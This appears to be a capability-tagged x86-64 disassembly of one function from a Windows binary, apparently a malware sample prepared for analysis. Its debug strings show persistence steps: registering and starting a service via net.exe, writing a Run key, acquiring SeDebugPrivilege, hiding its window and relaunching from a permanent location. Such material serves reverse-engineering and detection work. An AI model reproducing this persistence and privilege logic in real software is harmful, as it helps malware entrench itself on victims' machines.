Function at 0x14000207c
Capabilities:
Accept command line arguments
Acquire debug privileges
Check if file exists
Delete file
Get file attributes
Hide graphical window
Print debug messages
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [0x14004b010]
xor rax, rsp
mov qword [rbp + 0x240], rax
and qword [rsp + 0x58], 0
mov eax, 0x80000000
and qword [rsp + 0x50], 0
mov r9d, 0x8000000
and qword [rsp + 0x48], 0
xor r8d, r8d
and qword [rsp + 0x40], 0
xor edx, edx
and dword [rsp + 0x38], 0
xor ecx, ecx
mov dword [rsp + 0x30], eax
and dword [rsp + 0x28], 0
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp + 0x30]
mov dword [rbp + 0x30], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
lea rcx, str.SeDebugPrivilege
call fcn.140005544
mov dword [0x14004e1d0], eax
call fcn.140009bf0
mov r8d, 0x1e
lea rdx, [0x14004bcb0]
lea rcx, [rbp + 8]
call fcn.140005870
cmp qword [rbp + 0x20], 8
lea rax, [rbp + 8]
lea rcx, [rsp + 0x68]
cmovae rax, qword [rbp + 8]
mov qword [rsp + 0x68], rax
lea rax, [0x140001a88]
mov qword [rsp + 0x70], rax
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
xor ecx, ecx
call fcn.140017844
mov rcx, rax
call fcn.1400178f4
mov ecx, 0x10
call fcn.14000596c
and dword [rsp + 0x60], 0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [rsp + 0x60], 1
mov rbx, rax
jle 0x140002201
movdqa xmm0, xmmword [0x140044d40]
lea rcx, [rbp - 0x38]
mov rdx, qword [rax + 8]
and qword [rbp - 0x38], 0
movdqu xmmword [rbp - 0x28], xmm0
call fcn.1400024b8
cmp qword [rbp - 0x20], 8
lea rcx, [rbp - 0x38]
cmovae rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400021f8
cmp qword [rbp - 0x20], 8
lea rcx, [rbp - 0x38]
mov edx, 0x80
cmovae rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp qword [rbp - 0x20], 8
lea rcx, [rbp - 0x38]
cmovae rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x38]
call fcn.1400025b8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
call fcn.140001b58
mov ecx, dword [0x14004e1d0]
mov ebx, eax
cmp ecx, 1
jne 0x140002267
lea rcx, str.ADMIN_PRIVS
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [rsp + 0x60], 2
jge 0x140002260
mov r8d, 0xa
lea rdx, [0x14004bd28]
lea rcx, [rbp - 0x18]
call fcn.140005870
mov rcx, rax
call fcn.140001960
call fcn.14000120c
lea rcx, str.INSTALLED_SERVICE
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call fcn.1400017e4
jmp 0x14000227d
test ecx, ecx
jne 0x140002283
lea rcx, str.INSTALLING_RUNKEY
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call fcn.140001554
mov ecx, dword [0x14004e1d0]
lea eax, [rbx - 1]
test eax, 0xfffffffd
je 0x14000232b
cmp ecx, 1
jne 0x140002325
lea rcx, str.Kick_off_and_Exit
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rdx, str.start
lea rcx, [rbp - 0x38]
call fcn.14000256c
mov r8d, 0xa
lea rdx, [0x14004bd28]
lea rcx, [rbp - 0x18]
call fcn.140005870
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140002548
lea rcx, [rbp - 0x18]
call fcn.140002564
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x78]
call fcn.140002594
lea rdx, str.net.exe
mov rbx, rax
lea rcx, [rbp - 0x58]
call fcn.14000256c
mov rdx, rax
lea rcx, [rbp - 0x18]
xor r9d, r9d
mov r8, rbx
call fcn.1400059c0
lea rcx, [rbp - 0x18]
call fcn.140002564
xor ecx, ecx
call fcn.140017be8
int3
call fcn.14000a228
int3
lea rcx, str.RESTARTING_FROM_PERM_LOCATION
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov r8d, 0x104
lea rdx, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [0x140043d8c]
lea rcx, [rbp - 0x38]
call fcn.14000256c
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x38]
call fcn.140002534
lea rdx, [0x140043a4c]
lea rcx, [rbp - 0x38]
call fcn.140002534
lea rcx, [0x14004e1e0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, [rbp - 0x38]
call fcn.1400024a8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x58]
call fcn.140002594
lea rdx, [0x14004e1e0]
mov rbx, rax
lea rcx, [rbp - 0x78]
call fcn.14000256c
mov rdx, rax
lea rcx, [rbp - 0x18]
xor r9d, r9d
mov r8, rbx
call fcn.1400059c0
lea rcx, [rbp - 0x18]
call fcn.140002564
xor ecx, ecx
call fcn.140017be8
int3